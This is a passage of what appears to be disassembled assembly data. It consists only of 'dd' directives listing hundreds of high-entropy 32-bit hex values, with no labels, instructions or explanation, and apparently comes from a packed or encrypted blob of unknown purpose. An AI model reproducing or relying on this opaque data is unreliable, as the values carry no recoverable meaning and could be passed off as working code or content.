		dd 964004E4h, 0C579254Ah, 0FE44B21Fh, 178166CAh, 870254C2h
		dd 4CCA58FDh, 682C5D08h, 0E73BCDE7h, 3F1BC5E9h,	492BFDE4h
		dd 0DF2CB7C4h, 869B3FD5h, 85F1D8E0h, 570A92DAh,	82FBCFE1h
		dd 2782440Fh, 159604C2h, 689FCAACh, 82C885DBh, 32BB805Dh
		dd 1D59CA11h, 12189BB9h, 0A109EA99h, 5EE961C4h,	0ECF0176Bh
		dd 60294A06h, 2FC1FBF7h, 15A63018h, 56BFAD2Fh, 0A8AD3C37h
		dd 0D221CE6h, 0AEC25E11h, 3CBAEE17h, 173868B5h,	6DFA5E47h
		dd 2AA87ECDh, 0CCD9EFC4h, 3BDF5C49h, 0CED4AF0Bh, 96EBF649h
		dd 14D727DDh, 0CA620A9h, 24CD5D5Fh, 0B117E120h,	882C041Ch
		dd 0B974C2EBh, 0E4DFF603h, 36B304AEh, 586B1549h, 57004B50h
		dd 60B15150h, 3E127C0h,	44450D8Eh, 0D0B08088h, 0E91652E0h
		dd 25F70AE5h, 82071950h, 0F759D40Bh, 864AA381h,	8B2F0151h
		dd 62680CF3h, 67BA4343h, 655A86E1h, 581DA066h, 0A06A72CBh
		dd 19B32DD6h, 0B0275D0h, 0B637CA5h, 782D6F0h, 229A2340h
		dd 0C8242A2Dh, 2F2CFC8Ch
		dd 0CAD43AADh, 8186806h, 0FB5F3073h, 102F9BA7h,	0DD29781Fh
		dd 1DC43912h, 4070FDABh, 739A609Bh, 45B56813h, 2C984CCh
		dd 0D17B576Dh, 8C8142E2h, 0EE502329h, 20F177E2h, 0FEB71C3Bh
		dd 2A016357h, 725E5539h, 20DF53Ah, 0E5775A08h, 0E85292EFh
		dd 7055B0E8h, 0EC4D4BA8h, 5EF277F1h, 6D4A6FFAh,	0CF684521h
		dd 0CEE657F6h, 7107F2F2h, 67E914C9h, 0F518FF5Bh, 0C697308Ch
		dd 2701045Ch, 0A15F0757h, 506837Fh, 0D1B1E781h,	482173A2h
		dd 0EF9CC56Ah, 0B94FE4B3h, 0CCAE93E9h, 6C4E7156h, 7AA109B8h
		dd 72AC6EEDh, 6F8DFC8Dh, 0BC2FB439h, 4AFA525h, 0BC1F9599h
		dd 0F614CDEFh, 0B69AA920h, 96044948h, 0CA5416D6h, 97D330D1h
		dd 3D3522EBh, 27972C7Eh, 2A72AB6Ah, 0B39C5DB8h,	18021894h
		dd 8E67D65Ch, 0B46E83EBh, 0FD0C264Ch, 1E41F39h,	0D87C33F7h
		dd 6AE16A42h, 79D707h, 17A9BB2Fh, 208DB806h, 0D3B78912h
		dd 75221CD1h, 0E8D9BF6Eh, 0E26DE83Bh, 729F7E52h, 5A2DDE75h
		dd 43EBBF48h, 2592594Ch, 52907018h, 0FE262A5Dh,	0D78542AAh
		dd 0A4968209h, 427CC276h, 0B0E0DD2Bh, 42E4642Fh, 648BD90h
		dd 6EBB07C6h, 0C9601D05h, 6078589Fh, 4FEFC65Bh,	5495A8D5h
		dd 0FA5E849Ah, 0D612FEDDh, 0F807C4BBh, 76EC10A4h, 43514C4Eh
		dd 50B85C85h, 0BE9CB6F0h, 10E72D13h, 0C8E744Ch,	0B8625B80h
		dd 5A256169h, 820765A1h, 54FF2E6Eh, 1639B4C0h, 0C2D97E2Fh
		dd 5ECEC169h, 5AE9D8D8h, 4BE9813Bh, 3B857156h, 7BA161BEh
		dd 88B27A81h, 17BC5B78h, 5738BA5Ah, 55872968h, 97F2F43h
		dd 0A42F8067h, 0B82CE20Fh, 31212D44h, 1829B4F8h, 68053AEFh
		dd 9FA97E96h, 5C52E9C2h, 9095B452h, 0B902E6F3h,	0E75B1C08h
		dd 2919FE6h, 23312500h,	4F815F1Ah, 0C6F4B86Ch, 12107C29h
		dd 0A9A7FBE9h, 7D5D2D50h, 0ACFD7786h, 0B863EE0Ch, 0D645FE6Ch
		dd 6AEB0385h, 0E1AA3F7Ah, 0F106FE78h, 53F801A3h, 8A92090Ch
		dd 38598D59h, 8940463Fh, 5C830958h, 0A15F3108h,	3A1D8C8h
		dd 842ABB31h, 24A7FA0Bh, 0E9502C96h, 29E2E024h,	21A52D13h
		dd 2D4C16D4h, 9E21233h,	0C9E90701h, 0E6D38FEEh,	622747B3h
		dd 8294CE62h, 80464CF4h, 0EE45B7B8h, 5A10B7ECh,	4B6026E9h
		dd 0AD685C3Ah, 0E4E7951Eh, 8B2D052Ch, 0C06E51E3h, 366DE955h
		dd 9125F59Ah, 7D9A9A63h, 509DA4D0h, 57F5A2F0h, 79896376h
		dd 8B1B7652h, 49C62890h, 428F6818h, 9D61D581h, 92BC4BF1h
		dd 22F99BD4h, 0B8422D02h, 745FE625h, 0BF575846h, 0AF796F0Bh
		dd 2C07F65Dh, 0A439D3Bh, 84E305E3h, 0C72A1227h,	0D7027F23h
		dd 977313Ch, 915955FAh,	7308B7CAh, 0EEB800ACh, 353CFA28h
		dd 9A4D6107h, 11712D65h, 70706E45h, 0E63FCE15h,	0E3037CE4h
		dd 5B4545Ch, 29490212h,	8A058916h, 8F4413C0h, 0F7825F56h
		dd 0A6B682EFh, 0C2737F1Ah, 32F51837h, 5F5BE3CAh, 0A7A9CD0Eh
		dd 4BD5DA1Fh, 0F1D8D9BFh, 0A004C182h, 64D79BE0h, 5A46FEC9h
		dd 9661AC3Bh, 1A62E10h,	4DBD48EAh, 0C821FA31h, 50D01CE0h
		dd 5E7EE95Ah, 53F77019h, 800966B3h, 0E284AC3h, 53BE1293h
		dd 0AFAB564Dh, 0B490A37Ch, 36FE2F77h, 7D112CD1h, 4FBA6DD4h
		dd 8D116BBh, 6804BB32h,	6FD82654h, 6F1E0055h, 4840BA0Ah
		dd 429D2059h, 0B6E27D54h, 0F6979650h, 9FDF78B0h, 0E8BB58C0h
		dd 0F4F35ADAh, 0BD8FB2D1h, 0C852F8F9h, 2F669978h, 7F667CA2h
		dd 56B9029Fh, 3E82321h,	0F478B9C2h, 3BB6D6F6h, 68C47F52h
		dd 0BD6D8E01h, 398E969h, 0D0211C8Ah, 157AEB19h,	61C2074Eh
		dd 4EFC4E55h, 9793876Fh, 0A4097BDBh, 6813D644h,	69FA26C5h
		dd 0E3A27E3Bh, 601A3085h, 9BBB5380h, 1D064D17h,	0FF5EECF8h
		dd 76B9B537h, 0E2890922h, 0C3C5FB55h, 0A38C2BE9h, 6D050589h
		dd 0EFF201D1h, 0A5363C07h, 60E29672h, 14050F20h, 1E511B68h
		dd 7804F881h, 747845h, 0F431C1EAh, 5F42E920h, 979929E5h
		dd 0CEA53FAh, 0E9FDF85Bh, 0D1F38327h, 735749B9h, 4904A622h
		dd 59A0F380h, 72BD2C41h, 45F35C17h, 7C3D0B41h, 0E40A9713h
		dd 7E1AC116h, 0D0686623h, 6EC50542h, 0C548221Eh, 2F82BFDBh
		dd 4CED5594h, 9D9C5F27h, 0B604F1BAh, 314AE978h,	0F92A6ADh
		dd 1C657906h, 9384BA06h, 0D728A851h, 0CB7A09A1h, 24B84FAEh
		dd 16FD6F84h, 0E2A7F0FCh, 8BDCFE9Dh, 0BD6E2F3h,	97E7067Dh
		dd 4C6314Bh, 2B8455Ch, 56D2F758h, 76275A7Ch, 0F1961E09h
		dd 0A2EB85DFh, 82BBD27Bh, 36F04724h, 185BC0BEh,	4511DD60h
		dd 0C1AEAC3h, 55C449AFh, 0E9069BFCh, 0B1DCD327h, 233C410h
		dd 54774CE9h, 51B68280h, 0E15FABB5h, 3F353E5Ch,	6F4FC93Eh
		dd 0BC59CF2h, 0C48AFF23h, 1275267Ch, 2448BBEFh,	4244BA4Fh
		dd 0E4BED127h, 2B2F3FD5h, 75988969h, 680F0729h,	34E004A0h
		dd 1CD0F729h, 4E5F5808h, 0BE8917E4h, 67FC6964h,	14E9F7C0h
		dd 0BFEDA7BDh, 0FFFDE816h, 0B30B869h, 5BB5A41Dh, 0BD738093h
		dd 0D10B4AEEh, 71454D10h, 68060355h, 0C051A6Eh,	0E92CAC78h
		dd 0BA6580C2h, 6811C031h, 142B59E8h, 9761318Eh,	60E6D136h
		dd 33BCD4B7h, 2AE3B812h, 0E77A5100h, 0CA814A47h, 3D6E711Ch
		dd 0C56F50E7h, 0BC32E907h, 6851020Ch, 0F7B330E4h, 0E0F14A03h
		dd 31E50F51h, 79E27B07h, 905921E5h, 665897FAh, 0F0C6C9FFh
		dd 0D6978A43h, 4F4BA80Fh, 2A64CCCAh, 0AF345E5Ah, 64E63980h
		dd 0C0155FA4h, 0EAD1A89Eh, 0C3F8AF63h, 0ED890417h, 0FAAB44DCh
		dd 0A0D5DB86h, 261BF324h, 425714ACh, 0D1F51E66h, 874416F8h
		dd 0F35D0973h, 0F3800443h, 3748161h, 61096188h,	4AFE3CFEh
		dd 4E54A163h, 8885FE1Ch, 9719E2BFh, 45342DAEh, 0CF59F1F9h
		dd 0E4DCCA2Fh, 0F031263Dh, 4FA01062h, 11715EE0h, 4B1E1568h
		dd 5EF1BCD1h, 307BB17Eh, 0DAF308CCh, 0C256FB57h, 3B64DFA9h
		dd 78D0C132h, 1BEC7753h, 200ED348h, 7288FAE1h, 5AD109FAh
		dd 0B5F62C5Bh, 23A12409h, 844D4EACh, 3B91F6EBh,	1FF24E0Ch
		dd 58E50070h, 0C580DDF6h, 0EC7F88F3h, 27D50A26h, 50CB1A4h
		dd 76500828h, 0B664E0B4h, 0C7C03F62h, 0F5958A7Fh, 34D348BAh
		dd 842401A8h, 0D64BA675h, 52D6AD81h, 0D725FD2Eh, 6FA45C22h
		dd 1D01160Ah, 29021944h, 8EAC7F3h, 4C05D14h, 666E50C0h
		dd 87F05FEh, 2E50AF5Bh,	4481840Fh, 1356C31Dh, 2F7C0121h
		dd 120C6C52h, 1260595Bh, 4BF26855h, 8C18CC3Bh, 61F45841h
		dd 69A19407h, 792AB803h, 6D231F12h, 4214D5F3h, 0AE4DDCCFh
		dd 0E95E07D8h, 7BC1D82Fh, 4D02703h, 523C6816h, 0D60071B3h
		dd 0E97D4F67h, 54D6F2EEh, 9740D9E8h, 0C41D19ADh, 6D061244h
		dd 0F979002Fh, 0CA89F205h, 99A8C459h, 0C6870E7Fh, 0C108D5F7h
		dd 0E7464C40h, 53BC6A43h, 0B410C73h, 44483837h,	51F40962h
		dd 60C6D7B9h, 3E3B677Bh, 82CAA027h, 2FF67708h, 181DB950h
		dd 704FFA4Ah, 0A6705FB6h, 26E90380h, 673D14ADh,	86C29354h
		dd 7DB61212h, 0FE1C00AAh, 80D7F6C7h, 307842E8h,	0CE785B7Ah
		dd 0EEF638E4h, 0F0202800h, 0B353665Ah, 0BEF89D87h, 0D69519F6h
		dd 2A0DCDAEh, 4A2D5FB0h, 8E1ECC27h, 0F28100F5h,	92741A0Eh
		dd 0BEC1DE2Bh, 79B47E0Fh, 0E6AEB050h, 0BE584F5Dh, 0DDF74904h
		dd 7D1AC0FFh, 0CD90F3B3h, 0D6D5E028h, 0A4414D5Fh, 10B76315h
		dd 5B480CB1h, 1BF2B44h,	8678F21Ah, 8F107B76h, 30FF1307h
		dd 9AAC970Bh, 0B1140D6h, 1CB42D06h, 4880EC8Eh, 0D68954FBh
		dd 85F25A5Ah, 0C02C402h
		dd 0D17D5D62h, 95E970F5h, 0A7D93D5Ch, 11D63CB4h, 5B52EE9Eh
		dd 9F47FC8Eh, 0DA8403D3h, 8C6842FFh, 66E1EAC0h,	4F02FB85h
		dd 0B11B1ACFh, 45FE576Bh, 69F92B02h, 91C5404h, 1756F089h
		dd 7F0FC252h, 12DF658h,	5DFB1F0h, 1609BD3Fh, 9F1379ABh
		dd 7058584h, 8FA8E1E9h,	0B807BE3Eh, 0B2536174h,	0D4D40E3Ah
		dd 2D660281h, 8893095h,	2F8758F2h, 2DCBBAE8h, 7DF4F682h
		dd 0B14390F5h, 0B119B64h, 945F014Eh, 0BEC29D38h, 9991CB85h
		dd 62893B57h, 0D706CDD5h, 0E3626FB0h, 5CDD0110h, 7175C9D5h
		dd 0BFE9C134h, 0D9B235AAh, 3F046B70h, 0C8BD8B5Bh, 39C0DB25h
		dd 6C063ABFh, 38BA01D6h, 9882BD0Bh, 0D009EC4h, 48B94169h
		dd 9905DA45h, 842A3134h, 2FFCACA9h, 9D1DCE5Ah, 0EB17EFD2h
		dd 0E7F15EE9h, 22EDD2D2h, 0F60F4757h, 0D63840B3h, 0D6F751A1h
		dd 81D2BDA0h, 73208790h, 0BF014E8Dh, 38216899h,	4C97BC6Ah
		dd 0FF14A15h, 0E93E783Bh, 0D31B0D25h, 3474ADDBh, 0B7681656h
		dd 1365E34Fh, 0D4642E1Ah, 40B6D2C4h, 5B53E9C5h,	7EC16B86h
		dd 8A617B1Ch, 9C38B872h, 0C2565585h, 1EDDC108h,	2834FD0h
		dd 47B468CAh, 0BCA5987Dh, 45A9287Dh, 30F741F5h,	5F4C1662h
		dd 33257B46h, 5FCC55A4h, 0E430CA7Ch, 38BD2EDBh,	160B2765h
		dd 2CA6CFD6h, 5F4AF501h, 0C8F4DD4h, 97EC3F6Ch, 0E6B5FA36h
		dd 0F94E20AAh, 2DC6655h, 4C7D2C92h, 9968FDB4h, 0DC34C1B5h
		dd 6686B0F8h, 4B871B0Ah, 10C1BF1Ch, 4F696E65h, 11283201h
		dd 0E3C10117h, 1C081A95h, 9066AD7h, 0D0D974CFh,	9DEFCDE9h
		dd 0FC924850h, 0DE2EB3B1h, 7B84F1Bh, 43D11B2Fh,	0DCC375A5h
		dd 2FC805E9h, 1EB5FEB8h, 420B4445h, 6594EA31h, 0D01C0818h
		dd 0E4E86232h, 0B90013C4h, 97443D1Fh, 630537F0h, 3195EE9Ch
		dd 16C7F3BEh, 1538151h,	0E9E903FFh, 0C902A20Bh,	6577DAE2h
		dd 194C4034h, 0A1875C5Fh, 0B2F6F013h, 962A0F18h, 3CFAB48h
		dd 0F4931651h, 94A8B9EAh, 2E7C0220h, 5F5D4B6Dh,	0F468508Fh
		dd 0D2175F13h, 0FEF4B8ECh, 0E9409E9Eh, 19BE8007h, 5D4A5E71h
		dd 27BFB104h, 71A0EA13h, 2D819C4Fh, 0C3A399D5h,	0C30ACADEh
		dd 292BC8F5h, 31BE016Ah, 0E9BAF743h, 2356DF9h, 0DC68EDC3h
		dd 5BC2F099h, 0BB2F5009h, 2F624625h, 500E595Dh,	801C0AB2h
		dd 0EACC11C2h, 0B5E50CFFh, 64F8F16h, 7002352h, 833099Dh
		dd 55C20201h, 7671F7BDh, 948F207h, 0E74029B2h, 774D1B68h
		dd 0E5D81F1Eh, 66E9CFFFh, 0F545EEA4h, 4AB87A03h, 92FDB8C9h
		dd 8456A0C6h, 125E922Ah, 0B31C1268h, 0B4F0506h,	95F00962h
		dd 41A2BE08h, 6EB01B5Dh, 8D2F07B1h, 0E90C008Ch,	60B6157Fh
		dd 8A3EA781h, 0FC6C01DCh, 2859C202h, 0A375DBDFh, 106A0A42h
		dd 3EEB2DDBh, 22EC7766h, 42EB51B7h, 987D7098h, 9FBD3CADh
		dd 10AA884Bh, 3F73C777h, 24803E2Dh, 3B7421BEh, 0ECA00B5Bh
		dd 56120238h, 357CE943h, 5C059077h, 6B732768h, 4F2DC6E6h
		dd 0A755F109h, 9BD0A8FFh, 628E27BCh, 5758606Fh,	7B7CB52Bh
		dd 92BF2D7Bh, 0ABACCA04h, 67D876E9h, 2C34CFB0h,	0A2B0EAF0h
		dd 0CD949951h, 286E85C8h, 0A3EF66F8h, 0E804F0Eh, 4107E92Fh
		dd 96FC8E0Bh, 0BA7251h,	0B367ECF5h, 0BC59E94Ch,	0E55C28B3h
		dd 0E83C232Fh, 963F512h, 0D7317D24h, 9D8CE6F5h,	94857F1h
		dd 49F387E6h, 0AC19E550h, 204E9966h, 0CAE69299h, 35684C0Ah
		dd 0A484F660h, 0F3EEFEEFh, 379550D5h, 679A2D13h, 5A509501h
		dd 0CD3111B9h, 0D96C73A5h, 0DB14A12Ch, 0F90D188Bh, 4EF280D5h
		dd 0D1F74222h, 6BFB71FFh, 0A23A362h, 0F4DF128Eh, 2ABE62F6h
		dd 0E72BB07h, 16EA6A26h, 0F0D11B8Fh, 7B163F01h,	1BBC0739h
		dd 0AD54E91Dh, 0E28492BAh, 0E0AB12BBh, 68126F14h, 3BC21E43h
		dd 0B2FEC89Eh, 0F2D5E00Fh, 1CCC5E5Bh, 1A3E4E2h,	0BA58BCF6h
		dd 60E17031h, 680049B4h, 442764DBh, 0E6C11F5Eh,	0B1B39205h
		dd 97E77E5Dh, 0DBDDE292h, 0E2BAA5B3h, 0C7647142h, 0B3AA5888h
		dd 4557D26Ah, 0DDD0D8BAh, 29463C02h, 0A6217A68h, 1306F71Bh
		dd 0A273A2E9h, 0FEA94FEEh, 0C89B2704h, 1D1C82E4h, 74F62500h
		dd 0B1034808h, 84AEF12Dh, 95267DEBh, 0E3414E5Bh, 73101868h
		dd 9C680916h, 7C37B22h,	4086BF57h, 58E9010Bh, 5DFEE72Fh
		dd 9D20621Eh, 0A8D9E751h, 0BA2A1775h, 2B97F6Ch,	6E8A2234h
		dd 57ED9F7h, 0E8191385h, 0CFBBFC1h, 0ADF3478Fh,	0FF2589E4h
		dd 0F6065CC6h, 6B2F1EEEh, 0E4DBFC16h, 554A687Ch, 0B6100BF3h
		dd 76522EF6h, 20EE1F13h, 2219A0E2h, 417C5B65h, 37C2D82h
		dd 0FA3C595Eh, 751412C3h, 32E7B9C0h, 4270EF02h,	656F0CCFh
		dd 4A184719h, 809D95F8h, 92769700h, 0C6F8BDD2h,	0DC18272Ah
		dd 0C291E250h, 9B606897h, 1BD3834Ch, 8435253Eh,	31302812h
		dd 407ECADh, 92FD01BFh,	11FF5AD1h, 0E92053EBh, 12AFDF6Bh
		dd 7F9DE1CAh, 0C1FCC2E5h, 1860D90Fh, 1F952BEAh,	685288EAh
		dd 9873202Dh, 281F5CC7h, 0BAB2EFBh, 43BE908h, 0DD91CD41h
		dd 4FFE3A96h, 33E902CEh, 0FB252552h, 0BF59705Fh, 0E98940F3h
		dd 568929FCh, 0D290E3CDh, 0F97C187Ah, 35F9D7Eh,	97D395A1h
		dd 0D918998Eh, 0AA968331h, 200E31Bh, 0EB80A9B3h, 96EA8244h
		dd 2881793Dh, 518609DFh, 8AC458AFh, 9D40F5B0h, 25D5B159h
		dd 0D7A78854h, 50688D81h, 0A3CA512Bh, 1D9C62FCh, 0B4A6B7D7h
		dd 8A1280E8h, 0EE5A35AAh, 0E071C3A1h, 0B63EA93Eh, 0E996806Eh
		dd 390B243Fh, 13EB10ADh, 94BDD021h, 858CEF92h, 27479C25h
		dd 2D3E4FFBh, 5B80487Ah, 0EB5EB705h, 0F11F42Dh,	0EDDF2F09h
		dd 685038DEh, 29174F9Fh, 0E988106Ah, 0E5C04688h, 0CC2926EFh
		dd 0AC094F8Ch, 1BE618E3h, 9FC2881Ch, 0D208D7Ah,	0EB7EBD9Ah
		dd 0B665F200h, 0F013171h, 0BFCFE9D0h, 7FCDCEF7h, 7C40E32Fh
		dd 39744B42h, 1D026226h, 42796521h, 0C17C284h, 2C70C08h
		dd 0E91BD354h, 8DA9ECF6h, 0A0263850h, 0DB25FE2Bh, 0B5B7090Ah
		dd 45884B94h, 47C0EEE9h, 6F796850h, 58550F5Bh, 60077335h
		dd 1245172Dh, 0A3757BF0h, 997FE274h, 0E944597Ah, 257D0714h
		dd 0B291BA0Eh, 20427790h, 0ADA8F17Fh, 0D240F7CAh, 618AAAB1h
		dd 9821727Ah, 70F5E20Ch, 82A2734h, 0D90CA55Eh, 97542E38h
		dd 1A730F76h, 0E3EBE93Bh, 0CD1CAA78h, 641A7E75h, 6B8E7511h
		dd 0EB894E40h, 234886E9h, 5A5DD91Eh, 96065FF0h,	0E8684101h
		dd 92662D3Ch, 3CCB001h,	183F3297h, 490606D2h, 0BB3156BDh
		dd 0EA1B8950h, 9302061h, 2859880h, 0B4A5184Fh, 53895872h
		dd 9CC4BC54h, 0AA4AE2B8h, 30E9BE68h, 0BA26D66Fh, 0CDEEF552h
		dd 0F7EA0125h, 0AF206596h, 0EA62A06Ch, 89685041h, 0B85A4ED0h
		dd 88140F5h, 4167F9BEh,	0F7762F58h, 7E133A0Bh, 896CAD37h
		dd 10659195h, 888E442Ah, 6AF3EE0Bh, 4829E060h, 43BF0DB8h
		dd 7BEFCCh, 4BB5CE3Dh, 0C04602Ah, 14274403h, 0FE1CE915h
		dd 0DDDF25ECh, 7760A268h, 292CDC01h, 0F8BDE9FBh, 8532EC2Fh
		dd 0EF359A03h, 0EC7EB05h, 139E34F8h, 5A15F061h,	1052A1DEh
		dd 0BE2F44B1h, 417A686Dh, 5EE93087h, 59A80C3h, 65CA3D22h
		dd 0B2640935h, 3C5DDE50h, 7E919D8Ah, 307FF240h,	9BB535Bh
		dd 1B62917h, 76C81AFFh,	0B5680523h, 3FA4CD6Eh, 0EB93D2FDh
		dd 0E98582F3h, 0C117D4DDh, 25CA4BB1h, 5B86A42Ch, 0D2E95070h
		dd 0CAB7BF9Bh, 1A685C0Ah, 0F933092Ch, 6E67AEC9h, 0B6455AE1h
		dd 0D484F2ECh, 0A47914DBh
		dd 5243BC45h, 5CB38AB8h, 0FA76F3E7h, 0C5B3B700h, 805BD988h
		dd 0FEFD39C1h, 60B724FBh, 4DB2A81h, 0BEAEC8BBh,	55EFE021h
		dd 0D179669Ah, 56D6A24h, 0AA840612h, 0F0EBF8AAh, 0C45E2A68h
		dd 160E58DFh, 9D3E04F9h, 0BA51D893h, 0E6AE1B12h, 21E90D89h
		dd 9A3A5EF3h, 0CD5A27DFh, 9710AAF1h, 0DC6286D9h, 0EA5C0453h
		dd 62F60E80h, 53525DAh,	7567E275h, 0E91634ECh, 10B45D68h
		dd 827F026Eh, 5B5E5352h, 0AA6027F7h, 29DB465Bh,	7D5D865h
		dd 547E15F5h, 3BF5F06Dh, 55E66FFFh, 9F70BE58h, 7B40731Ah
		dd 0E91C1F73h, 3CD3406Dh, 54AC2B85h, 9131ED18h,	381211C1h
		dd 65AC18D9h, 745D5AB2h, 80D48DBCh, 0CC066135h,	66C10E8Ah
		dd 9D68694Fh, 7B1BB13Eh, 5FBC8184h, 0A53FE28h, 7BEE6887h
		dd 0EABA962Eh, 8908DB53h, 570400F8h, 0B551F134h, 5227B07Ch
		dd 0FA6BDC01h, 0D2BA1A96h, 0F3B70A35h, 0C3AF5516h, 0BBC5C991h
		dd 9A68DE23h, 90577E5Fh, 0DBA0277h, 42151D26h, 90C8102Ah
		dd 14F99F11h, 0A7177C97h, 0E5D0BDE9h, 0A84FC416h, 5E24E4AAh
		dd 59BE9582h, 37339322h, 9D06917Bh, 5770745Bh, 0E114D3Eh
		dd 69F3F6EAh, 0BB8376FEh, 405F9F8Bh, 5CA9857Fh,	7EF8DD1h
		dd 45C19DFBh, 0F340C2D2h, 5A1E26B9h, 3810BF1Ah,	9FCC5F08h
		dd 95BA3D52h, 0FC538C9Ah, 0FE880957h, 2C58D2EFh, 751F7109h
		dd 87CFFE2Ah, 0A9996642h, 351A077h, 95F53BD0h, 50A14C02h
		dd 3B7A7977h, 0ACAB5DFAh, 17DBAB4Fh, 0B92EC855h, 12979064h
		dd 7D02568Ah, 0DE5764E9h, 6087500Fh, 64C41AB7h,	556A594Dh
		dd 8C415B85h, 520366B7h, 8853DEB2h, 5DFC92D7h, 6720ED9Ch
		dd 0C5803BF6h, 3DD575F6h, 0B4C801EDh, 6483CC12h, 0DCBCEED5h
		dd 0EEF7F8CEh, 8FB7FC73h, 2E67E4D3h, 1E9EEF57h,	0D1A48ACFh
		dd 0BE39293h, 5D42D6C8h, 5117417Dh, 94AD73E4h, 0F957A0D1h
		dd 0B72E4165h, 18148E5Ch, 0E12DC371h, 25CCC1CEh, 5409500h
		dd 0F63FF9B0h, 644F8006h, 0B4E9721Bh, 0E77EB5D3h, 0FDA67A79h
		dd 6FC94315h, 938463D9h, 0C0AE4D16h, 57F0E539h,	1B720826h
		dd 9826CF0Bh, 1FDF0118h, 8B39BD55h, 82F23AE2h, 3F18CE5Eh
		dd 0BADFB7F6h, 0A1D55F4Bh, 47CD3A1Eh, 0C0333020h, 803548A9h
		dd 945BC331h, 5200EAF8h, 45166857h, 0E9146BA3h,	9DB2D2B2h
		dd 90C4F1C9h, 3E0DED79h, 0F9CA888Ah, 0F9499F7Bh, 0F205A0C9h
		dd 60446610h, 8B8F0C06h, 0E2F8E60Ah, 0CC08240Bh, 0D4BA8069h
		dd 0B4383D3Eh, 57920A35h, 0BF03BB78h, 498822A1h, 0AF7874F2h
		dd 0A4DA1DD7h, 90D5FB2Ah, 462FBFC7h, 0A8F0606Bh, 0C1325D97h
		dd 0E9190596h, 16AF427h, 5C81731h, 9622560h, 3420AD61h
		dd 0BA0EB1C4h, 0A68D1F6h, 0B782201Fh, 68A2E91Bh, 0B8D12989h
		dd 9876979Dh, 45B1FC27h, 0C59441DAh, 0EE596EEEh, 291495Dh
		dd 8E4198EFh, 9F22A82h,	80E074F3h, 699F565Ah, 377C34ACh
		dd 8DECBD84h, 173293AFh, 8C66BE4Bh, 0EDF9B648h,	1D9FFFBFh
		dd 6638EE39h, 900BA859h, 149382Dh, 0C06602CEh, 0F36668DEh
		dd 3488FA75h, 1C401EFh,	6E3BC5DFh, 0DECEFC3Ch, 6FB0316h
		dd 124E80A0h, 4BF932E9h, 12C5E220h, 3B008226h, 0E95878F3h
		dd 0D8D24AD0h, 0E6416639h, 80FD026Bh, 9F7CC0Fh,	0BA3EA09Ah
		dd 4CC34868h, 0F405E925h, 1E4DEA08h, 8E914B8h, 17D92575h
		dd 0E9D8D9DCh, 0E3024A69h, 0D82227CAh, 2456959Dh, 6F535DDAh
		dd 4AE05B93h, 0F9C74BFEh, 60552739h, 5826B3D0h,	45144D30h
		dd 82A42F1Fh, 0E44BD821h, 0F5C2E1F3h, 55125DDCh, 5DA79Ch
		dd 5053EDD1h, 0BB51A268h, 35586201h, 38AF12F3h,	0FA2AE861h
		dd 21BA7E40h, 96559830h, 80963EA9h, 0CE5AF4B2h,	0ADFB059Dh
		dd 2428BFFh, 95076968h,	0D4597742h, 5C0B143h, 5E15BF3Ch
		dd 7213EA3Ch, 743E8AACh, 0BB490312h, 2CA6210h, 0F927ABFCh
		dd 5A547729h, 278027A8h, 0F191EC97h, 88D1AEADh,	982C28A5h
		dd 7CCE05E5h, 0E037226Bh, 60FE657h, 0C001D859h,	0D91B6CF6h
		dd 5BE3987Dh, 10AEE3BFh, 9E6531AFh, 2F6FC3F3h, 8EBA79D9h
		dd 44F58817h, 10FA59E8h, 5D09947Dh, 79D9FEF6h, 0C2485CA5h
		dd 8409CD8Ch, 0B800BC48h, 79640EC1h, 0A76949FEh, 0ED0BFD1Eh
		dd 5B96C675h, 0B8DD0014h, 7BC6B10h, 0AEBA0561h,	62D4353Ch
		dd 88F5CB5h, 0E255E217h, 1D7F809Ch, 0A0296878h,	0CECF2EF5h
		dd 0A5FCD56Bh, 0A04095C2h, 84274383h, 0BA510859h, 0C0A3E909h
		dd 2C51504Bh, 2FD4F3B5h, 0CA20E0D9h, 309FDCBDh,	6035400Dh
		dd 9DE925h, 68E0D322h, 0CC044A1Ah, 75B7D27h, 79600E9Dh
		dd 0B73116E7h, 416EB945h, 5A8A508h, 220A6604h, 0FAADA301h
		dd 8AA67B65h, 0F3818577h, 4B7366E3h, 0E494ECE1h, 0D475BEE2h
		dd 0B404D7EBh, 820AFB6Ch, 25FF06F9h, 2F81088Fh,	6768C91Fh
		dd 12D46880h, 0E0BD6E13h, 0B63017Ch, 0F2E9561Bh, 0BA039E70h
		dd 174219A7h, 5A0CBC52h, 807AB8Ch, 6C3536E3h, 7E462A02h
		dd 20630B0h, 400A225h, 0D05572Dh, 133F0310h, 0FE58C221h
		dd 6F42CD18h, 0B591651h, 0AAF712E9h, 3B24FACFh,	5EF2422Fh
		dd 692D256Eh, 8E07377h,	7727C2D8h, 1B82468h, 25428B3Fh
		dd 0BBAF844Dh, 4868BCBAh, 0BE22082h, 0E8C05304h, 3C1861h
		dd 4B95685Ch, 3B603038h, 1D2D0F62h, 5ED2EA31h, 0D636F878h
		dd 0B100CEAAh, 1EA90D90h, 0A14D6FF8h, 0A218604Eh, 325CF70Ah
		dd 9984E7C1h, 80AE805Dh, 0E85912C7h, 3E1F7CEFh,	9C6AE364h
		dd 60E3AC94h, 29C76858h, 0ADAC1C91h, 3FA5F108h,	0B37C2B12h
		dd 85901BCDh, 284AB199h, 0FCED8D2Bh, 14482C4Bh,	13EF0564h
		dd 0ACA809DFh, 706FAC61h, 51B03B08h, 623A1696h,	0C5A2C231h
		dd 0C55F0884h, 12BBEDDh, 0B9CB904Ah, 4B87838h, 4162E92Dh
		dd 0A9395EBBh, 0BF64A085h, 6236CFCCh, 662DDFE0h, 48E6B277h
		dd 1F51B883h, 560F7A62h, 33BB6C7h, 51B6EAEFh, 5FBE2439h
		dd 5261371Fh, 1EF4BA30h, 7BC2D72h, 8038BB2Fh, 0D0034AABh
		dd 113AA3F8h, 0CB815C01h, 64F4D34h, 0E963037Eh,	0DF91D309h
		dd 10D5605Bh, 3750730Fh, 8F15BF55h, 74134EC9h, 0DF2D6809h
		dd 8257C642h, 0FF6741A4h, 0AD4E991Eh, 21E35AD0h, 6396245Dh
		dd 58233377h, 0D8F7A1CFh, 0D26DED95h, 4CD3995Ch, 0C100C05Ch
		dd 5810157Bh, 0D173F791h, 5C92D1Fh, 92E91102h, 2BA4493Eh
		dd 0D3C2E16Ah, 45AD7B7h, 5F76B3D8h, 5A4832B0h, 192CBA62h
		dd 139F02BFh, 83E9525Eh, 88274BF8h, 43077CDEh, 19F1D9F7h
		dd 0E2997E2Ah, 0A1B4AC3Fh, 8E7BB6BAh, 0E7097DB3h, 751C8F33h
